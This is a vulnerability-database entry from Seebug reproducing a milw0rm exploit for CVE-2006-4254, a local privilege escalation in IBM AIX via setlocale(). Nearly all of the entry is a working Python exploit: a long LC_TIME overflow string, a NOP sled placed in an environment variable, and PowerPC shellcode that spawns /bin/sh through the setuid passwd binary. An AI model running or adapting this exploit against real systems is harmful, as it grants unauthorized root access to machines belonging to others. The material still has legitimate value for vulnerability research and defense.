Lucene search

K
seebugRootSSV:64985
HistoryJul 01, 2014 - 12:00 a.m.

IBM AIX <= 5.3.0 - setlocale() Local Privilege Escalation Exploit

2014-07-0100:00:00
Root
www.seebug.org
18

EPSS

0.011

Percentile

84.7%

No description provided by source.


                                                #
#setlocale() exploit for aix 5.2 ( CVE-2006-4254  )
#[email protected]
#
from os import execve

bof=&#34;a&#34;*580+&#34;bbbbccccdddd\x2f\xf2\x28\x2f&#34;
egg=&#34;\x60&#34;*2350
shellcode=(            # by intropy &#60;at&#62; caughq.org
&#34;\x7c\xa5\x2a\x79&#34;     # xor.    r5,r5,r5
&#34;\x40\x82\xff\xfd&#34;     # bnel    &#60;shellcode&#62;
&#34;\x7f\xe8\x02\xa6&#34;     # mflr    r31
&#34;\x3b\xff\x01\x20&#34;     # cal     r31,0x120(r31)
&#34;\x38\x7f\xff\x08&#34;     # cal     r3,-248(r31)
&#34;\x38\x9f\xff\x10&#34;     # cal     r4,-240(r31)
&#34;\x90\x7f\xff\x10&#34;     # st      r3,-240(r31)
&#34;\x90\xbf\xff\x14&#34;     # st      r5,-236(r31)
&#34;\x88\x5f\xff\x0f&#34;     # lbz     r2,-241(r31)
&#34;\x98\xbf\xff\x0f&#34;     # stb     r5,-241(r31)
&#34;\x4c\xc6\x33\x42&#34;     # crorc   cr6,cr6,cr6
&#34;\x44\xff\xff\x02&#34;     # svca
&#34;/bin/sh&#34;
&#34;\x05&#34;)

execve(&#34;/usr/bin/passwd&#34;,[&#34;&#34;],{&#34;EGG&#34;:egg+shellcode,&#34;LC_TIME&#34;:bof})

# milw0rm.com [2007-11-07]

                              

EPSS

0.011

Percentile

84.7%